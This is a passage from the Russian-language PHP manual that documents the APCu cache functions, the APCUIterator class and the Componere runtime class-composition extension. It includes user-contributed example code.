
key

Получить детальную информацию о ключе в кеше

Возвращаемые значения

Массив, содержащий подробную информацию о ключе кеша или null, если ключ не существует.

Примеры

Пример #1 Пример использования apcu_key_info()

<?php
apcu_add('a','b');
var_dump(apcu_key_info('a'));
?>

Результат выполнения данного примера:

array(7) {
  ["hits"]=>
  int(0)
  ["access_time"]=>
  int(1606701783)
  ["mtime"]=>
  int(1606701783)
  ["creation_time"]=>
  int(1606701783)
  ["deletion_time"]=>
  int(0)
  ["ttl"]=>
  int(0)
  ["refs"]=>
  int(0)
}

Смотрите также

  • apcu_store() - Кеширует переменную
  • apcu_fetch() - Извлекает из кеша сохранённую переменную
  • apcu_delete() - Удаляет сохранённое значение из кеша

User Contributed Notes

There are no user contributed notes for this page.


Извлекает информацию о выделении разделяемой памяти APCu

  • « apcu_key_info
  • apcu_store »
  • PHP Manual
  • Функции APCu
  • Извлекает информацию о выделении разделяемой памяти APCu

apcu_sma_info

(PECL apcu >= 4.0.0)

apcu_sma_info — Извлекает информацию о выделении разделяемой памяти APCu

Описание

apcu_sma_info(bool $limited = false): array|false

Извлекает информацию о выделении разделяемой памяти APCu.

Список параметров

limited

Если установлен в false (по умолчанию), apcu_sma_info() вернёт детальную информацию о каждом сегменте.

Возвращаемые значения

Массив данных о выделенной разделяемой памяти; false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования apcu_sma_info()

<?php
print_r(apcu_sma_info());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [num_seg] => 1
    [seg_size] => 31457280
    [avail_mem] => 31448408
    [block_lists] => Array
        (
            [0] => Array
                (
                    [0] => Array
                        (
                            [size] => 31448408
                            [offset] => 8864
                        )

                )

        )

)

Смотрите также

  • Директивы конфигурации APCu

User Contributed Notes

There are no user contributed notes for this page.


Кеширует переменную

  • « apcu_sma_info
  • APCUIterator »
  • PHP Manual
  • Функции APCu
  • Кеширует переменную

apcu_store

(PECL apcu >= 4.0.0)

apcu_store — Кеширует переменную

Описание

apcu_store(string $key, mixed $var, int $ttl = 0): bool
apcu_store(array $values, mixed $unused = NULL, int $ttl = 0): array

Кеширует переменную.

Замечание: В отличие от многих других механизмов PHP, переменные, сохранённые apcu_store(), сохраняются между запросами, пока их не удалят из кеша.

Список параметров

key

Имя, под которым будет сохранена переменная. Значение key является уникальным для кеша, так что попытка сохранить запись с ключом key, который уже существует, приведёт к её перезаписи.

var

Переменная для сохранения

ttl

Время жизни; переменная var будет храниться в течение ttl секунд. Как только ttl секунд пройдут, переменная будет удалена из кеша (при следующем запросе). Если параметр ttl не задан (или ttl задан как 0), значение будет храниться пока не будет удалено явно, либо по технической причине (очистка кеша, перезапуск и т.д.)

values

Имена в ключах, переменные в значениях.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Второй тип синтаксиса возвращает массив с ключами, по которым произошла ошибка.

Примеры

Пример #1 Пример использования apcu_store()

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
var_dump(apcu_fetch('foo'));
?>

Результат выполнения данного примера:

string(3) "BAR"

Смотрите также

  • apcu_add() - Добавить переменную в кеш
  • apcu_fetch() - Извлекает из кеша сохранённую переменную
  • apcu_delete() - Удаляет сохранённое значение из кеша

User Contributed Notes

info at qmegas dot info 11-Mar-2021 01:34
Be careful when updating same key with ttl set during same request. For example:
<?php
for ($i = 0; $i < 20; $i++) {
    apcu_store('test', $i, 10);
    sleep(1);
}
?>

After 10 seconds the key will become not available and won't be updated. Tested on Windows and Linux platforms. Not sure if it's a bug or undocumented behavior.


Класс APCUIterator

(PECL apcu >= 5.0.0)

Введение

Класс APCUIterator позволяет с лёгкостью итерировать большой APCu кеш. Это полезно, так как позволяет перебирать большой кеш по шагам, забирая заданное количество записей используя одну блокировку, позволяя другим активностям использовать блокировку, а не задерживать весь кеш для чтения ста (по умолчанию) записей. Также, использование регулярных выражений более эффективно, так как выполняется на уровне скомпилированного кода C.

Обзор классов

class APCUIterator implements Iterator {
/* Методы */
public __construct(
array|string|null $search = null,
int $format = APC_ITER_ALL,
int $chunk_size = 100,
int $list = APC_LIST_ACTIVE
)
public current(): mixed
public getTotalCount(): int
public getTotalHits(): int
public getTotalSize(): int
public key(): string
public next(): bool
public rewind(): void
public valid(): bool
}

Содержание

  • APCUIterator::__construct — Создаёт объект итератор класса APCUIterator
  • APCUIterator::current — Получить текущий элемент
  • APCUIterator::getTotalCount — Получить общее количество записей
  • APCUIterator::getTotalHits — Получить общее количество попаданий в кеш
  • APCUIterator::getTotalSize — Общий размер кеша
  • APCUIterator::key — Получить ключ итератора
  • APCUIterator::next — Перемещает указатель на следующий элемент
  • APCUIterator::rewind — Перемотка итератора
  • APCUIterator::valid — Проверяет, корректна ли текущая позиция итератора

User Contributed Notes

There are no user contributed notes for this page.


Создаёт объект итератор класса APCUIterator

  • « APCUIterator
  • APCUIterator::current »
  • PHP Manual
  • APCUIterator
  • Создаёт объект итератор класса APCUIterator

APCUIterator::__construct

(PECL apcu >= 5.0.0)

APCUIterator::__construct — Создаёт объект итератор класса APCUIterator

Описание

public APCUIterator::__construct(
array|string|null $search = null,
int $format = APC_ITER_ALL,
int $chunk_size = 100,
int $list = APC_LIST_ACTIVE
)

Создаёт объект APCUIterator.

Список параметров

search

Либо регулярное выражение PCRE, которое соответствует именам ключей APCu, заданным как строки (string). Или массив (array) строк (string) с именами ключей APCu. Или, необязательно, null чтобы пропустить поиск.

format

Формат, заданный одной из констант APC_ITER_*.

chunk_size

Размер блока данных. Должно быть больше 0. По умолчанию 100.

list

Тип списка. Задаётся константами APC_LIST_ACTIVE или APC_LIST_DELETED.

Примеры

Пример #1 Пример использования APCUIterator::__construct()

<?php
foreach (new APCUIterator('/^counter\./') as $counter) {
echo "$counter[key]: $counter[value]\n";
apc_dec($counter['key'], $counter['value']);
}
?>

Смотрите также

  • apcu_exists() - Проверяет, существуют ли записи
  • apcu_cache_info() - Извлекает закешированную информацию из хранилища APCu

User Contributed Notes

There are no user contributed notes for this page.


Получить текущий элемент

  • « APCUIterator::__construct
  • APCUIterator::getTotalCount »
  • PHP Manual
  • APCUIterator
  • Получить текущий элемент

APCUIterator::current

(PECL apcu >= 5.0.0)

APCUIterator::current — Получить текущий элемент

Описание

public APCUIterator::current(): mixed

Получает текущий элемент стека APCUIterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает текущий элемент либо false, если элементов больше нет или произошла ошибка.

Смотрите также

  • APCUIterator::next() - Перемещает указатель на следующий элемент
  • Iterator::current() - Возврат текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Получить общее количество записей

  • « APCUIterator::current
  • APCUIterator::getTotalHits »
  • PHP Manual
  • APCUIterator
  • Получить общее количество записей

APCUIterator::getTotalCount

(PECL apcu >= 5.0.0)

APCUIterator::getTotalCount — Получить общее количество записей

Описание

public APCUIterator::getTotalCount(): int

Получить общее количество записей.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Общее количество записей.

Смотрите также

  • APCUIterator::getTotalHits() - Получить общее количество попаданий в кеш
  • APCUIterator::getTotalSize() - Общий размер кеша
  • apcu_cache_info() - Извлекает закешированную информацию из хранилища APCu

User Contributed Notes

There are no user contributed notes for this page.


Получить общее количество попаданий в кеш

  • « APCUIterator::getTotalCount
  • APCUIterator::getTotalSize »
  • PHP Manual
  • APCUIterator
  • Получить общее количество попаданий в кеш

APCUIterator::getTotalHits

(PECL apcu >= 5.0.0)

APCUIterator::getTotalHits — Получить общее количество попаданий в кеш

Описание

public APCUIterator::getTotalHits(): int

Получить общее количество попаданий в кеш.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Количество попаданий в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • APCUIterator::getTotalCount() - Получить общее количество записей
  • APCUIterator::getTotalSize() - Общий размер кеша
  • apcu_cache_info() - Извлекает закешированную информацию из хранилища APCu

User Contributed Notes

There are no user contributed notes for this page.


Общий размер кеша

  • « APCUIterator::getTotalHits
  • APCUIterator::key »
  • PHP Manual
  • APCUIterator
  • Общий размер кеша

APCUIterator::getTotalSize

(PECL apcu >= 5.0.0)

APCUIterator::getTotalSize — Общий размер кеша

Описание

public APCUIterator::getTotalSize(): int

Возвращает общий размер кеша.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Общий размер кеша.

Смотрите также

  • APCUIterator::getTotalCount() - Получить общее количество записей
  • APCUIterator::getTotalHits() - Получить общее количество попаданий в кеш
  • apc_cache_info()

User Contributed Notes

There are no user contributed notes for this page.


Получить ключ итератора

  • « APCUIterator::getTotalSize
  • APCUIterator::next »
  • PHP Manual
  • APCUIterator
  • Получить ключ итератора

APCUIterator::key

(PECL apcu >= 5.0.0)

APCUIterator::key — Получить ключ итератора

Описание

public APCUIterator::key(): string

Возвращает текущий ключ итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает ключ или false в случае возникновения ошибки.

Смотрите также

  • APCUIterator::current() - Получить текущий элемент
  • Iterator::key() - Возвращает ключ текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель на следующий элемент

  • « APCUIterator::key
  • APCUIterator::rewind »
  • PHP Manual
  • APCUIterator
  • Перемещает указатель на следующий элемент

APCUIterator::next

(PECL apcu >= 5.0.0)

APCUIterator::next — Перемещает указатель на следующий элемент

Описание

public APCUIterator::next(): bool

Перемещает указатель на следующий элемент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • APCUIterator::current() - Получить текущий элемент
  • APCUIterator::rewind() - Перемотка итератора
  • Iterator::next() - Переходит к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Перемотка итератора

  • « APCUIterator::next
  • APCUIterator::valid »
  • PHP Manual
  • APCUIterator
  • Перемотка итератора

APCUIterator::rewind

(PECL apcu >= 5.0.0)

APCUIterator::rewind — Перемотка итератора

Описание

public APCUIterator::rewind(): void

Устанавливает указатель итератора на первый элемент.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • APCUIterator::next() - Перемещает указатель на следующий элемент
  • Iterator::next() - Переходит к следующему элементу

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, корректна ли текущая позиция итератора

  • « APCUIterator::rewind
  • Componere »
  • PHP Manual
  • APCUIterator
  • Проверяет, корректна ли текущая позиция итератора

APCUIterator::valid

(PECL apcu >= 5.0.0)

APCUIterator::valid — Проверяет, корректна ли текущая позиция итератора

Описание

public APCUIterator::valid(): bool

Проверяет, корректна ли текущая позиция итератора.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true или false, в зависимости от того, корректна ли позиция.

Смотрите также

  • APCUIterator::current() - Получить текущий элемент
  • Iterator::valid() - Проверяет корректность текущей позиции

User Contributed Notes

There are no user contributed notes for this page.


Componere

  • Введение
  • Установка и настройка
    • Требования
    • Установка
  • Componere\Abstract\Definition — Класс Componere\Abstract\Definition
    • Componere\Abstract\Definition::addInterface — Добавляет интерфейс
    • Componere\Abstract\Definition::addMethod — Добавляет метод
    • Componere\Abstract\Definition::addTrait — Добавляет трейт
    • Componere\Abstract\Definition::getReflector — Reflection
  • Componere\Definition — Класс Componere\Definition
    • Componere\Definition::__construct — Определение конструктора
    • Componere\Definition::addConstant — Добавляет константу
    • Componere\Definition::addProperty — Добавляет свойство
    • Componere\Definition::register — Регистрация
    • Componere\Definition::isRegistered — Определение состояния
    • Componere\Definition::getClosure — Получает замыкание
    • Componere\Definition::getClosures — Получает замыкание
  • Componere\Patch — Класс Componere\Patch
    • Componere\Patch::__construct — Конструктор класса Patch
    • Componere\Patch::apply — Приложение
    • Componere\Patch::revert — Отмена
    • Componere\Patch::isApplied — Определение состояния
    • Componere\Patch::derive — Получение патча
    • Componere\Patch::getClosure — Получает замыкание
    • Componere\Patch::getClosures — Получает замыкания
  • Componere\Method — Класс Componere\Method
    • Componere\Method::__construct — Конструктор класса Method
    • Componere\Method::setPrivate — Изменение доступности
    • Componere\Method::setProtected — Изменение доступности
    • Componere\Method::setStatic — Изменение доступности
    • Componere\Method::getReflector — Reflection
  • Componere\Value — Класс Componere\Value
    • Componere\Value::__construct — Конструктор класса Value
    • Componere\Value::setPrivate — Изменение доступности
    • Componere\Value::setProtected — Изменение доступности
    • Componere\Value::setStatic — Изменение доступности
    • Componere\Value::isPrivate — Определение доступности
    • Componere\Value::isProtected — Определение доступности
    • Componere\Value::isStatic — Определение доступности
    • Componere\Value::hasDefault — Взаимодействие с классом Value
  • Функции Componere
    • Componere\cast — Приведение к типу
    • Componere\cast_by_ref — Приведение к типу

User Contributed Notes

There are no user contributed notes for this page.


Введение

Componere (латинский, английский: compose) предназначен для производственных окружений и предоставляет API для составления классов, обезьяньих патчей и приведения.

Структура:

Componere\Definition используется для определения (или переопределения) класса во время выполнения; Затем класс может быть зарегистрирован и в случае переопределения он заменяет исходный класс до тех пор, пока существует Componere\Definition.

public Componere\Definition::__construct(string $name)
public Componere\Definition::__construct(string $name, string $parent)
public Componere\Definition::__construct(string $name, array $interfaces)
public Componere\Definition::__construct(string $name, string $parent, array $interfaces)

Патчинг:

Componere\Patch используется для изменения класса конкретного экземпляра объекта во время выполнения; После применения исправление будет применяться до тех пор, пока существует Componere\Patch и его можно явно отменить.

public Componere\Patch::__construct(object $instance)
public Componere\Patch::__construct(object $instance, array $interfaces)

Приведение:

Componere\ функции приведения могут приводить среди определённых пользователем совместимых типов; В случае совместимости означает, что Type является подчинённым или супер типом object.

Componere\cast(Type $type, $object): Type
Componere\cast_by_ref(Type $type, $object): Type

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для работы модуля требуется Reflection

User Contributed Notes

There are no user contributed notes for this page.


Установка

Исходный код Componere и выпуски доступны на » github

User Contributed Notes

There are no user contributed notes for this page.


Класс Componere\Abstract\Definition

(Componere 2 >= 2.1.0)

Введение

Окончательный абстрактный класс представляет собой структуру класса и не должен использоваться программистом.

Обзор классов

final abstract class Componere\Abstract\Definition {
/* Методы */
public addInterface(string $interface): Definition
public addMethod(string $name, Componere\Method $method): Definition
public addTrait(string $trait): Definition
public getReflector(): ReflectionClass
}

Содержание

  • Componere\Abstract\Definition::addInterface — Добавляет интерфейс
  • Componere\Abstract\Definition::addMethod — Добавляет метод
  • Componere\Abstract\Definition::addTrait — Добавляет трейт
  • Componere\Abstract\Definition::getReflector — Reflection

User Contributed Notes

There are no user contributed notes for this page.


Добавляет интерфейс

  • « Componere\Abstract\Definition
  • Componere\Abstract\Definition::addMethod »
  • PHP Manual
  • Componere\Abstract\Definition
  • Добавляет интерфейс

Componere\Abstract\Definition::addInterface

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addInterface — Добавляет интерфейс

Описание

public Componere\Abstract\Definition::addInterface(string $interface): Definition

Реализует данный интерфейс по текущему определению

Список параметров

interface

Имя интерфейса без учёта регистра

Возвращаемые значения

The current Definition

Exceptions

Внимание

Выбрасывает исключение RuntimeException, если Definition был зарегистрирован

User Contributed Notes

There are no user contributed notes for this page.


Добавляет метод

  • « Componere\Abstract\Definition::addInterface
  • Componere\Abstract\Definition::addTrait »
  • PHP Manual
  • Componere\Abstract\Definition
  • Добавляет метод

Componere\Abstract\Definition::addMethod

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addMethod — Добавляет метод

Описание

public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition

Должен создать или переопределить метод в текущем определении.

Список параметров

name

Нечувствительное к регистру имя метода

method

Componere\Method ранее не добавленный к другому Definition

Возвращаемые значения

The current Definition

Exceptions

Внимание

Выбрасывает исключение RuntimeException, если Definition был зарегистрирован

Внимание

Выбрасывает исключение RuntimeException, если метод был добавлен к другому определению

User Contributed Notes

There are no user contributed notes for this page.


Добавляет трейт

  • « Componere\Abstract\Definition::addMethod
  • Componere\Abstract\Definition::getReflector »
  • PHP Manual
  • Componere\Abstract\Definition
  • Добавляет трейт

Componere\Abstract\Definition::addTrait

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::addTrait — Добавляет трейт

Описание

public Componere\Abstract\Definition::addTrait(string $trait): Definition

Использовать данный трейт для текущего определения

Список параметров

trait

Нечувствительное к регистру имя трейта

Возвращаемые значения

The current Definition

Exceptions

Внимание

Выбрасывает исключение RuntimeException, если Definition был зарегистрирован

User Contributed Notes

ASchmidt at Anamera dot net 23-Mar-2018 12:22
Adding a trait is an efficient way to extend a "final" class, overriding methods and adding new ones, without having to individually add each method as a closure. It also results in more readable code.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Extended class members.
 */
trait ChildC /* extends ParentC */
{
    function __construct() {
        // Call parent constructor.
        parent::__construct();
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->overridden_constructor >> '.$this->parentvar );
    }

    function parentf() {
        // Call overridden parent method.
        parent::parentf();
        // Access an inherited property set by constructor.
        echo( "\r\n<br/>".get_class().'->overridden_parentf >> '.$this->parentvar );
    }

    function dynamicf( $parm = null ) {
        // Populate a parent class property.
        $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
        // Access an inherited property set by parent constructor.
        echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
    }
}

/*
 *  Register the dynamic child class "ChildC", which is
 *  derived by extending "ParentC" with members supplied as "ChildC" trait.
 */
$definition = new \Componere\Definition( 'ChildC', ParentC::class );
$definition->addTrait( 'ChildC' );
$definition ->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */
$dyno = new ChildC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof ChildC, $dyno instanceof ParentC, is_a( $dyno, 'ParentC') );
var_dump( $dyno );
?>

will output:

set by ParentC->parentconstruct
ChildC->overridden_constructor >> set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
ChildC->overridden_parentf >> set by ParentC->parentconstruct
ChildC->dynamicf >> set by ParentC->parentconstruct

boolean true
boolean true
boolean true

object(ChildC)[2]
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Reflection

  • « Componere\Abstract\Definition::addTrait
  • Componere\Definition »
  • PHP Manual
  • Componere\Abstract\Definition
  • Reflection

Componere\Abstract\Definition::getReflector

(Componere 2 >= 2.1.0)

Componere\Abstract\Definition::getReflector — Reflection

Описание

public Componere\Abstract\Definition::getReflector(): ReflectionClass

Должен создать или вернуть ReflectionClass

Возвращаемые значения

ReflectionClass для текущего определения (кешируется)

User Contributed Notes

There are no user contributed notes for this page.


Класс Componere\Definition

(Componere 2 >= 2.1.0)

Введение

Класс Definition позволяет программисту создавать и регистрировать тип во время выполнения.

Если Definition заменит существующий класс, существующий класс будет восстановлен после уничтожения Definition.

Обзор классов

final class Componere\Definition extends Componere\Abstract\Definition {
/* Конструкторы класса */
public __construct(string $name)
public __construct(string $name, string $parent)
public __construct(string $name, array $interfaces)
public __construct(string $name, string $parent, array $interfaces)
/* Методы */
public addConstant(string $name, Componere\Value $value): Definition
public addProperty(string $name, Componere\Value $value): Definition
public register(): void
public isRegistered(): bool
public getClosure(string $name): Closure
public getClosures(): array
/* Наследуемые методы */
public Componere\Abstract\Definition::addInterface(string $interface): Definition
public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition
public Componere\Abstract\Definition::addTrait(string $trait): Definition
public Componere\Abstract\Definition::getReflector(): ReflectionClass
}

Содержание

  • Componere\Definition::__construct — Определение конструктора
  • Componere\Definition::addConstant — Добавляет константу
  • Componere\Definition::addProperty — Добавляет свойство
  • Componere\Definition::register — Регистрация
  • Componere\Definition::isRegistered — Определение состояния
  • Componere\Definition::getClosure — Получает замыкание
  • Componere\Definition::getClosures — Получает замыкание

User Contributed Notes

ASchmidt at Anamera dot net 20-Mar-2018 11:58
Sometimes we might wish to extend a third party class that has been defined as "final".

In this example, the a child class will extend a "final" class, adding a method. An object instance will be able to access parent members, and is recognized as an instance of both the dynamically created child class as well as its parent class.

<?php
declare(strict_types=1);

/*
 *  Final class would normally prevent extending.
 */
final class ParentC
{
    public $parentvar;
    public $secondvar;

    function __construct() { echo( "\r\n<br/>".$this->parentvar = 'set by '.get_class().'->parentconstruct' ); }
    function parentf() { echo( "\r\n<br/>".get_class().'->parentf >> '.$this->parentvar ); }
}

/*
 *  Dynamically define a child class "DynamicC"
 *  which successfully extends final class "ParentC".
 */
$DefC = new \Componere\Definition( 'DynamicC', 'ParentC');

// Extend child class with method 'DynamicC::dynamicf()'.
$DefM = new Componere\Method( function( $parm = null ) {
    // Populate a parent class property.
    $this->secondvar = empty( $parm ) ? 'set by '.get_class().'->dynamicf' : $parm;
    // Access an inherited property set by parent constructor.
    echo( "\r\n<br/>".get_class().'->dynamicf >> '.$this->parentvar );
} );
$DefC->addMethod( 'dynamicf', $DefM );

// Take dynamic child class 'life'.
$DefC->register();

/*
 *  Instantiate the dynamic child class,
 *  and access its own and inherited members.
 */

$dyno = new DynamicC;
$dyno->parentf();
$dyno->dynamicf( 'myvalue ');

// Our object is also recognized as instance of parent!
var_dump( $dyno instanceof DynamicC, $dyno instanceof ParentC );
var_dump( $dyno );
%>

will output:

set by ParentC->parentconstruct
ParentC->parentf >> set by ParentC->parentconstruct
DynamicC->dynamicf >> set by ParentC->parentconstruct

(boolean) true
(boolean) true

object(DynamicC)
  public 'parentvar' => string 'set by ParentC->parentconstruct' (length=31)
  public 'secondvar' => string 'myvalue ' (length=8)


Определение конструктора

  • « Componere\Definition
  • Componere\Definition::addConstant »
  • PHP Manual
  • Componere\Definition
  • Определение конструктора

Componere\Definition::__construct

(Componere 2 >= 2.1.0)

Componere\Definition::__construct — Определение конструктора

Описание

public Componere\Definition::__construct(string $name)
public Componere\Definition::__construct(string $name, string $parent)
public Componere\Definition::__construct(string $name, array $interfaces)
public Componere\Definition::__construct(string $name, string $parent, array $interfaces)

Список параметров

name

Регистронезависимое имя класса

parent

Регистронезависимое имя класса

interfaces

Массив регистронезависимых имён классов

Исключения

Внимание

Выбрасывает исключение InvalidArgumentException, если сделана попытка заменить внутренний класс

Внимание

Выбрасывает исключение InvalidArgumentException, если сделана попытка заменить интерфейс

Внимание

Выбрасывает исключение InvalidArgumentException, если сделана попытка заменить трейт

Внимание

Выбрасывает исключение RuntimeException, если класс, указанный в interfaces не найден

Внимание

Выбрасывает исключение RuntimeException, если класс, указанный в interfaces не является интерфейсом

User Contributed Notes

There are no user contributed notes for this page.


Добавляет константу

  • « Componere\Definition::__construct
  • Componere\Definition::addProperty »
  • PHP Manual
  • Componere\Definition
  • Добавляет константу

Componere\Definition::addConstant

(Componere 2 >= 2.1.0)

Componere\Definition::addConstant — Добавляет константу

Описание

public Componere\Definition::addConstant(string $name, Componere\Value $value): Definition

Должен объявить константу класса в текущем определении

Список параметров

name

Регистронезависимое имя константы

value

Значение для константы не должно быть неопределённым (undefined) или статичным

Возвращаемые значения

Текущее определение

Исключения

Внимание

Выбрасывает исключение RuntimeException, если Definition уже было зарегистрировано

Внимание

Выбрасывает исключение RuntimeException, если name уже объявлено как константа

Внимание

Выбрасывает исключение RuntimeException, если value является статичным

Внимание

Выбрасывает исключение RuntimeException, если value является неопределённым

User Contributed Notes

There are no user contributed notes for this page.


Добавляет свойство

  • « Componere\Definition::addConstant
  • Componere\Definition::register »
  • PHP Manual
  • Componere\Definition
  • Добавляет свойство

Componere\Definition::addProperty

(Componere 2 >= 2.1.0)

Componere\Definition::addProperty — Добавляет свойство

Описание

public Componere\Definition::addProperty(string $name, Componere\Value $value): Definition

Должен объявить свойство класса в текущем определении

Список параметров

name

Регистронезависимое имя свойства

value

Значение свойства по умолчанию

Возвращаемые значения

Текущее определение

Исключения

Внимание

Выбрасывает исключение RuntimeException, если Definition уже было зарегистрировано

Внимание

Выбрасывает исключение RuntimeException, если name уже объявлен как свойство

User Contributed Notes

There are no user contributed notes for this page.


Регистрация

  • « Componere\Definition::addProperty
  • Componere\Definition::isRegistered »
  • PHP Manual
  • Componere\Definition
  • Регистрация

Componere\Definition::register

(Componere 2 >= 2.1.0)

Componere\Definition::register — Регистрация

Описание

public Componere\Definition::register(): void

Регистрирует текущее определение

Исключения

Внимание

Выбрасывает исключение RuntimeException, если Definition уже был зарегистрирован

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Componere\Definition::register
  • Componere\Definition::getClosure »
  • PHP Manual
  • Componere\Definition
  • Определение состояния

Componere\Definition::isRegistered

(Componere 2 >= 2.1.0)

Componere\Definition::isRegistered — Определение состояния

Описание

public Componere\Definition::isRegistered(): bool

Определяет состояние регистрации этого определения

Возвращаемые значения

Возвращает true, если определение зарегистрировано

User Contributed Notes

There are no user contributed notes for this page.


Получает замыкание

  • « Componere\Definition::isRegistered
  • Componere\Definition::getClosures »
  • PHP Manual
  • Componere\Definition
  • Получает замыкание

Componere\Definition::getClosure

(Componere 2 >= 2.1.0)

Componere\Definition::getClosure — Получает замыкание

Описание

public Componere\Definition::getClosure(string $name): Closure

Должен вернуть замыкание для указанного метода

Список параметров

name

Регистронезависимое имя метода

Возвращаемые значения

Замыкание, привязанное к корректной области

Исключения

Внимание

Выбрасывает исключение RuntimeException, если Definition уже было зарегистрировано

Внимание

Выбрасывает исключение RuntimeException, если name не найдено

User Contributed Notes

There are no user contributed notes for this page.


Получает замыкание

  • « Componere\Definition::getClosure
  • Componere\Patch »
  • PHP Manual
  • Componere\Definition
  • Получает замыкание

Componere\Definition::getClosures

(Componere 2 >= 2.1.0)

Componere\Definition::getClosures — Получает замыкание

Описание

public Componere\Definition::getClosures(): array

Возвращает массив замыканий

Возвращаемые значения

Возвращает все методы в виде массива объектов Closure, привязанных к корректной области

Исключения

Внимание

Выбрасывает исключение RuntimeException, если Definition уже было зарегистрировано

User Contributed Notes

There are no user contributed notes for this page.


Класс Componere\Patch

(Componere 2 >= 2.1.0)

Введение

Класс Patch позволяет программисту изменять тип экземпляра во время выполнения без регистрации нового Definition.

Когда Patch уничтожается, он возвращается, поэтому экземпляры, которые были исправлены в течение срока действия Patch, возвращаются к их формальному типу.

Обзор классов

final class Componere\Patch extends Componere\Abstract\Definition {
/* Конструкторы класса */
public __construct(object $instance)
public __construct(object $instance, array $interfaces)
/* Методы */
public apply(): void
public revert(): void
public isApplied(): bool
public derive(object $instance): Patch
public getClosure(string $name): Closure
public getClosures(): array
/* Наследуемые методы */
public Componere\Abstract\Definition::addInterface(string $interface): Definition
public Componere\Abstract\Definition::addMethod(string $name, Componere\Method $method): Definition
public Componere\Abstract\Definition::addTrait(string $trait): Definition
public Componere\Abstract\Definition::getReflector(): ReflectionClass
}

Содержание

  • Componere\Patch::__construct — Конструктор класса Patch
  • Componere\Patch::apply — Приложение
  • Componere\Patch::revert — Отмена
  • Componere\Patch::isApplied — Определение состояния
  • Componere\Patch::derive — Получение патча
  • Componere\Patch::getClosure — Получает замыкание
  • Componere\Patch::getClosures — Получает замыкания

User Contributed Notes

There are no user contributed notes for this page.


Конструктор класса Patch

  • « Componere\Patch
  • Componere\Patch::apply »
  • PHP Manual
  • Componere\Patch
  • Конструктор класса Patch

Componere\Patch::__construct

(Componere 2 >= 2.1.0)

Componere\Patch::__construct — Конструктор класса Patch

Описание

public Componere\Patch::__construct(object $instance)
public Componere\Patch::__construct(object $instance, array $interfaces)

Список параметров

instance

Назначение для этого патча

interfaces

Регистронезависимый массив имён классов

Исключения

Внимание

Выбрасывает исключение RuntimeException, если класс не может быть найден interfaces

Внимание

Выбрасывает исключение RuntimeException, если класс в interfaces не является интерфейсом

User Contributed Notes

There are no user contributed notes for this page.


Приложение

  • « Componere\Patch::__construct
  • Componere\Patch::revert »
  • PHP Manual
  • Componere\Patch
  • Приложение

Componere\Patch::apply

(Componere 2 >= 2.1.0)

Componere\Patch::apply — Приложение

Описание

public Componere\Patch::apply(): void

Применяет текущий патч

User Contributed Notes

There are no user contributed notes for this page.


Отмена

  • « Componere\Patch::apply
  • Componere\Patch::isApplied »
  • PHP Manual
  • Componere\Patch
  • Отмена

Componere\Patch::revert

(Componere 2 >= 2.1.0)

Componere\Patch::revert — Отмена

Описание

public Componere\Patch::revert(): void

Отменяет текущий патч

User Contributed Notes

There are no user contributed notes for this page.


Определение состояния

  • « Componere\Patch::revert
  • Componere\Patch::derive »
  • PHP Manual
  • Componere\Patch
  • Определение состояния

Componere\Patch::isApplied

(Componere 2 >= 2.1.0)

Componere\Patch::isApplied — Определение состояния

Описание

public Componere\Patch::isApplied(): bool

User Contributed Notes

There are no user contributed notes for this page.


Получение патча

  • « Componere\Patch::isApplied
  • Componere\Patch::getClosure »
  • PHP Manual
  • Componere\Patch
  • Получение патча

Componere\Patch::derive

(Componere 2 >= 2.1.1)

Componere\Patch::derive — Получение патча

Описание

public Componere\Patch::derive(object $instance): Patch

Должен получить Patch для заданного экземпляра instance

Список параметров

instance

Назначение для полученного патча

Возвращаемые значения

Patch для instance получается из текущего Patch

Исключения

Внимание

